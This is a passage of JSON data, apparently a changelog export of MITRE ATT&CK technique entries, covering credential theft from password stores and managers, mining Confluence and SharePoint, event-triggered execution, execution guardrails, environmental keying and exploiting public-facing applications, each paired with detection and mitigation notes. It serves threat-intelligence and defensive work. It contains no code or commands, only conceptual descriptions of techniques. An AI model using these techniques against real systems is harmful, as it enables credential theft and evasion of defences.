"id": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-02-11 18:48:28.456000+00:00", "modified": "2021-06-21 17:58:03.788000+00:00", "name": "Credentials from Password Stores", "description": "Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications that store passwords to make it easier for users manage and maintain. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "credential-access" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1555", "external_id": "T1555" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Process: Process Creation", "File: File Access", "Command: Command Execution", "Process: OS API Execution", "Process: Process Access" ], "x_mitre_detection": "Monitor system calls, file read events, and processes for suspicious activity that could indicate searching for a password or other activity related to performing keyword searches (e.g. password, pwd, login, store, secure, credentials, etc.) in process memory for credentials. File read events should be monitored surrounding known password storage applications.", "x_mitre_is_subtechnique": false, "x_mitre_permissions_required": [ "Administrator" ], "x_mitre_platforms": [ "Linux", "macOS", "Windows" ], "x_mitre_version": "1.0", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-06-21 17:58:03.788000+00:00\", \"old_value\": \"2021-04-29 21:00:19.428000+00:00\"}}}", "previous_version": "1.0", "changelog_mitigations": { "shared": [ "M1027: Password Policies" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (OS API Execution)", "DS0009: Process (Process Access)", "DS0009: Process (Process Creation)", "DS0017: Command (Command Execution)", "DS0022: File (File Access)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--315f51f0-6b03-4c1e-bfb2-84740afb8e21", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2021-01-22 16:08:40.629000+00:00", "modified": "2021-06-21 17:58:03.269000+00:00", "name": "Password Managers", "description": "Adversaries may acquire user credentials from third-party password managers.(Citation: ise Password Manager February 2019) Password managers are applications designed to store user credentials, normally in an encrypted database. Credentials are typically accessible after a user provides a master password that unlocks the database. After the database is unlocked, these credentials may be copied to memory. These databases can be stored as files on disk.(Citation: ise Password Manager February 2019)\n\nAdversaries may acquire user credentials from password managers by extracting the master password and/or plain-text credentials from memory.(Citation: FoxIT Wocao December 2019)(Citation: Github KeeThief) Adversaries may extract credentials from memory via [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212).(Citation: NVD CVE-2019-3610)\n Adversaries may also try brute forcing via [Password Guessing](https://attack.mitre.org/techniques/T1110/001) to obtain the master password of a password manager.(Citation: Cyberreason Anchor December 2019)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "credential-access" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1555/005", "external_id": "T1555.005" }, { "source_name": "ise Password Manager February 2019", "description": "ise. (2019, February 19). Password Managers: Under the Hood of Secrets Management. Retrieved January 22, 2021.", "url": "https://www.ise.io/casestudies/password-manager-hacking/" }, { "source_name": "FoxIT Wocao December 2019", "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020.", "url": "https://resources.fox-it.com/rs/170-CAK-271/images/201912_Report_Operation_Wocao.pdf" }, { "source_name": "Github KeeThief", "description": "Lee, C., Schoreder, W. (n.d.). KeeThief. Retrieved February 8, 2021.", "url": "https://github.com/GhostPack/KeeThief" }, { "source_name": "NVD CVE-2019-3610", "description": "National Vulnerability Database. (2019, October 9). CVE-2019-3610 Detail. Retrieved April 14, 2021.", "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-3610" }, { "source_name": "Cyberreason Anchor December 2019", "description": "Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020.", "url": "https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Matt Burrough, @mattburrough, Microsoft" ], "x_mitre_data_sources": [ "Process: OS API Execution", "File: File Access", "Process: Process Access", "Command: Command Execution" ], "x_mitre_detection": "Consider monitoring API calls, file read events, and processes for suspicious activity that could indicate searching in process memory of password managers. \n\nConsider monitoring file reads surrounding known password manager applications.", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "Linux", "macOS", "Windows" ], "x_mitre_version": "1.0", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-06-21 17:58:03.269000+00:00\", \"old_value\": \"2021-04-14 19:15:22.416000+00:00\"}}}", "previous_version": "1.0", "changelog_mitigations": { "shared": [ "M1027: Password Policies", "M1051: Update Software", "M1054: Software Configuration" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (OS API Execution)", "DS0009: Process (Process Access)", "DS0017: Command (Command Execution)", "DS0022: File (File Access)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--7ad38ef1-381a-406d-872a-38b136eb5ecc", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-02-14 13:09:51.004000+00:00", "modified": "2021-06-08 17:08:08.386000+00:00", "name": "Confluence", "description": "\nAdversaries may leverage Confluence repositories to mine valuable information. Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation, however, in general may contain more diverse categories of useful information, such as:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "collection" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1213/001", "external_id": "T1213.001" }, { "source_name": "Atlassian Confluence Logging", "description": "Atlassian. (2018, January 9). How to Enable User Access Logging. Retrieved April 4, 2018.", "url": "https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Logon Session: Logon Session Creation", "Application Log: Application Log Content" ], "x_mitre_detection": "Monitor access to Confluence repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.\n\nUser access logging within Atlassian's Confluence can be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities.", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "SaaS" ], "x_mitre_version": "1.0", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-06-08 17:08:08.386000+00:00\", \"old_value\": \"2020-03-24 16:42:09.222000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"Monitor access to Confluence repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.\\n\\nUser access logging within Atlassian's Confluence can be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities.\", \"old_value\": \"Monitor access to Confluence repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) as these types of accounts should not generally used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.\\n\\nUser access logging within Atlassian's Confluence can be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Monitor access to Confluence repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) as these types of accounts should not generally used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.\\n+Monitor access to Confluence repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.\\n \\n User access logging within Atlassian's Confluence can be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities.\"}}}", "previous_version": "1.0", "changelog_mitigations": { "shared": [ "M1017: User Training", "M1018: User Account Management", "M1047: Audit" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0015: Application Log (Application Log Content)", "DS0028: Logon Session (Logon Session Creation)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--0c4b4fda-9062-47da-98b9-ceae2dcf052a", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-02-14 13:35:32.938000+00:00", "modified": "2021-06-08 17:10:31.187000+00:00", "name": "Sharepoint", "description": "Adversaries may leverage the SharePoint repository as a source to mine valuable information. SharePoint will often contain useful information for an adversary to learn about the structure and functionality of the internal network and systems. For example, the following is a list of example information that may hold potential value to an adversary and may also be found on SharePoint:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "collection" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1213/002", "external_id": "T1213.002" }, { "source_name": "Microsoft SharePoint Logging", "description": "Microsoft. (2017, July 19). Configure audit settings for a site collection. Retrieved April 4, 2018.", "url": "https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Logon Session: Logon Session Creation", "Application Log: Application Log Content" ], "x_mitre_detection": "The user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging). As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. \n\n", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "Windows", "Office 365" ], "x_mitre_version": "1.0", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-06-08 17:10:31.187000+00:00\", \"old_value\": \"2020-03-24 16:41:00.821000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"The user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging). As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. \\n\\n\", \"old_value\": \"The user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging). As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should not generally used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. \\n\\n\", \"diff\": \"--- \\n+++ \\n@@ -1,2 +1,2 @@\\n-The user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging). As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should not generally used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. \\n+The user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging). As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. \\n \"}}}", "previous_version": "1.0", "changelog_mitigations": { "shared": [ "M1017: User Training", "M1018: User Account Management", "M1047: Audit" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0015: Application Log (Application Log Content)", "DS0028: Logon Session (Logon Session Creation)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-01-22 21:04:23.285000+00:00", "modified": "2021-10-16 20:11:14.193000+00:00", "name": "Event Triggered Execution", "description": "Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. \n\nAdversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation: Malware Persistence on OS X)(Citation: amnesia malware)\n\nSince the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges. ", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation" }, { "kill_chain_name": "mitre-attack", "phase_name": "persistence" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1546", "external_id": "T1546" }, { "source_name": "FireEye WMI 2015", "description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.", "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf" }, { "source_name": "Malware Persistence on OS X", "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.", "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" }, { "source_name": "amnesia malware", "description": "Claud Xiao, Cong Zheng, Yanhui Jia. (2017, April 6). New IoT/Linux Malware Targets DVRs, Forms Botnet. Retrieved February 19, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Process: Process Creation", "Windows Registry: Windows Registry Key Modification", "Command: Command Execution", "File: File Creation", "File: File Modification", "WMI: WMI Creation", "File: File Metadata", "Module: Module Load" ], "x_mitre_detection": "Monitoring for additions or modifications of mechanisms that could be used to trigger event-based execution, especially the addition of abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network. Also look for changes that do not line up with updates, patches, or other planned administrative activity. \n\nThese mechanisms may vary by OS, but are typically stored in central repositories that store configuration information such as the Windows Registry, Common Information Model (CIM), and/or specific named files, the last of which can be hashed and compared to known good values. \n\nMonitor for processes, API/System calls, and other common ways of manipulating these event repositories. \n\nTools such as Sysinternals Autoruns can be used to detect changes to execution triggers that could be attempts at persistence. Also look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques. \n\nMonitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement. ", "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ "Linux", "macOS", "Windows" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-16 20:11:14.193000+00:00\", \"old_value\": \"2021-04-13 21:32:54.610000+00:00\"}}}", "previous_version": "1.1", "changelog_mitigations": { "shared": [], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0005: WMI (WMI Creation)", "DS0009: Process (Process Creation)", "DS0011: Module (Module Load)", "DS0017: Command (Command Execution)", "DS0022: File (File Creation)", "DS0022: File (File Metadata)", "DS0022: File (File Modification)", "DS0024: Windows Registry (Windows Registry Key Modification)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2019-01-31 02:10:08.261000+00:00", "modified": "2021-06-09 18:53:58.471000+00:00", "name": "Execution Guardrails", "description": "Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary\u2019s campaign.(Citation: FireEye Kevin Mandia Guardrails) Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.(Citation: FireEye Outlook Dec 2019)\n\nGuardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1480", "external_id": "T1480" }, { "source_name": "FireEye Kevin Mandia Guardrails", "description": "Shoorbajee, Z. (2018, June 1). Playing nice? FireEye CEO says U.S. malware is more restrained than adversaries'. Retrieved January 17, 2019.", "url": "https://www.cyberscoop.com/kevin-mandia-fireeye-u-s-malware-nice/" }, { "source_name": "FireEye Outlook Dec 2019", "description": "McWhirt, M., Carr, N., Bienstock, D. (2019, December 4). Breaking the Rules: A Tough Outlook for Home Page Attacks (CVE-2017-11774). Retrieved June 23, 2020.", "url": "https://www.fireeye.com/blog/threat-research/2019/12/breaking-the-rules-tough-outlook-for-home-page-attacks.html" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Nick Carr, Mandiant" ], "x_mitre_data_sources": [ "Process: Process Creation", "Command: Command Execution" ], "x_mitre_defense_bypassed": [ "Anti-virus", "Host forensic analysis", "Signature-based detection", "Static file analysis" ], "x_mitre_detection": "Detecting the use of guardrails may be difficult depending on the implementation. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short period of time, may aid in detection.", "x_mitre_is_subtechnique": false, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "Linux", "macOS", "Windows" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-06-09 18:53:58.471000+00:00\", \"old_value\": \"2020-06-24 18:52:12.956000+00:00\"}, \"root['x_mitre_contributors'][0]\": {\"new_value\": \"Nick Carr, Mandiant\", \"old_value\": \"Nick Carr, FireEye\"}}}", "previous_version": "1.1", "changelog_mitigations": { "shared": [ "M1055: Do Not Mitigate", "T1480: Environmental Keying Mitigation" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0017: Command (Command Execution)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--f244b8dd-af6c-4391-a497-fc03627ce995", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-06-23 22:28:28.041000+00:00", "modified": "2021-06-09 18:53:58.159000+00:00", "name": "Environmental Keying", "description": "Adversaries may environmentally key payloads or other features of malware to evade defenses and constraint execution to a specific target environment. Environmental keying uses cryptography to constrain execution or actions based on adversary supplied environment specific conditions that are expected to be present on the target. Environmental keying is an implementation of [Execution Guardrails](https://attack.mitre.org/techniques/T1480) that utilizes cryptographic techniques for deriving encryption/decryption keys from specific types of values in a given computing environment.(Citation: EK Clueless Agents)\n\nValues can be derived from target-specific elements and used to generate a decryption key for an encrypted payload. Target-specific values can be derived from specific network shares, physical devices, software/software versions, files, joined AD domains, system time, and local/external IP addresses.(Citation: Kaspersky Gauss Whitepaper)(Citation: Proofpoint Router Malvertising)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware) By generating the decryption keys from target-specific environmental values, environmental keying can make sandbox detection, anti-virus detection, crowdsourcing of information, and reverse engineering difficult.(Citation: Kaspersky Gauss Whitepaper)(Citation: Ebowla: Genetic Malware) These difficulties can slow down the incident response process and help adversaries hide their tactics, techniques, and procedures (TTPs).\n\nSimilar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), adversaries may use environmental keying to help protect their TTPs and evade detection. Environmental keying may be used to deliver an encrypted payload to the target that will use target-specific values to decrypt the payload before execution.(Citation: Kaspersky Gauss Whitepaper)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware)(Citation: Demiguise Guardrail Router Logo) By utilizing target-specific values to decrypt the payload the adversary can avoid packaging the decryption key with the payload or sending it over a potentially monitored network connection. Depending on the technique for gathering target-specific values, reverse engineering of the encrypted payload can be exceptionally difficult.(Citation: Kaspersky Gauss Whitepaper) This can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within.\n\nLike other [Execution Guardrails](https://attack.mitre.org/techniques/T1480), environmental keying can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This activity is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of environmental keying will involve checking for an expected target-specific value that must match for decryption and subsequent execution to be successful.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1480/001", "external_id": "T1480.001" }, { "source_name": "EK Clueless Agents", "description": "Riordan, J., Schneier, B. (1998, June 18). Environmental Key Generation towards Clueless Agents. Retrieved January 18, 2019.", "url": "https://www.schneier.com/academic/paperfiles/paper-clueless-agents.pdf" }, { "source_name": "Kaspersky Gauss Whitepaper", "description": "Kaspersky Lab. (2012, August). Gauss: Abnormal Distribution. Retrieved January 17, 2019.", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/20134940/kaspersky-lab-gauss.pdf" }, { "source_name": "Proofpoint Router Malvertising", "description": "Kafeine. (2016, December 13). Home Routers Under Attack via Malvertising on Windows, Android Devices. Retrieved January 16, 2019.", "url": "https://www.proofpoint.com/us/threat-insight/post/home-routers-under-attack-malvertising-windows-android-devices" }, { "source_name": "EK Impeding Malware Analysis", "description": "Song, C., et al. (2012, August 7). Impeding Automated Malware Analysis with Environment-sensitive Malware. Retrieved January 18, 2019.", "url": "https://pdfs.semanticscholar.org/2721/3d206bc3c1e8c229fb4820b6af09e7f975da.pdf" }, { "source_name": "Environmental Keyed HTA", "description": "Warren, R. (2017, August 8). Smuggling HTA files in Internet Explorer/Edge. Retrieved January 16, 2019.", "url": "https://research.nccgroup.com/2017/08/08/smuggling-hta-files-in-internet-explorer-edge/" }, { "source_name": "Ebowla: Genetic Malware", "description": "Morrow, T., Pitts, J. (2016, October 28). Genetic Malware: Designing Payloads for Specific Targets. Retrieved January 18, 2019.", "url": "https://github.com/Genetic-Malware/Ebowla/blob/master/Eko_2016_Morrow_Pitts_Master.pdf" }, { "source_name": "Demiguise Guardrail Router Logo", "description": "Warren, R. (2017, August 2). Demiguise: virginkey.js. Retrieved January 17, 2019.", "url": "https://github.com/nccgroup/demiguise/blob/master/examples/virginkey.js" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Nick Carr, Mandiant" ], "x_mitre_data_sources": [ "Process: Process Creation", "Command: Command Execution" ], "x_mitre_defense_bypassed": [ "Anti-virus", "Host forensic analysis", "Signature-based detection", "Static file analysis" ], "x_mitre_detection": "Detecting the use of environmental keying may be difficult depending on the implementation. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short period of time, may aid in detection.", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "Linux", "macOS", "Windows" ], "x_mitre_version": "1.0", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-06-09 18:53:58.159000+00:00\", \"old_value\": \"2021-03-29 19:56:42.242000+00:00\"}, \"root['x_mitre_contributors'][0]\": {\"new_value\": \"Nick Carr, Mandiant\", \"old_value\": \"Nick Carr, FireEye\"}}}", "previous_version": "1.0", "changelog_mitigations": { "shared": [ "M1055: Do Not Mitigate" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0017: Command (Command Execution)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2018-04-18 17:59:24.739000+00:00", "modified": "2021-07-20 21:51:45.776000+00:00", "name": "Exploit Public-Facing Application", "description": "Adversaries may attempt to take advantage of a weakness in an Internet-facing computer or program using software, data, or commands in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. These applications are often websites, but can include databases (like SQL)(Citation: NVD CVE-2016-6662), standard services (like SMB(Citation: CIS Multiple SMB Vulnerabilities) or SSH), network device administration and management protocols (like SNMP and Smart Install(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)), and any other applications with Internet accessible open sockets, such as web servers and related services.(Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may include [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211). \n\nIf an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs, exploit container host access via [Escape to Host](https://attack.mitre.org/techniques/T1611), or take advantage of weak identity and access management policies.\n\nFor websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "initial-access" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1190", "external_id": "T1190" }, { "source_name": "NVD CVE-2016-6662", "description": "National Vulnerability Database. (2017, February 2). CVE-2016-6662 Detail. Retrieved April 3, 2018.", "url": 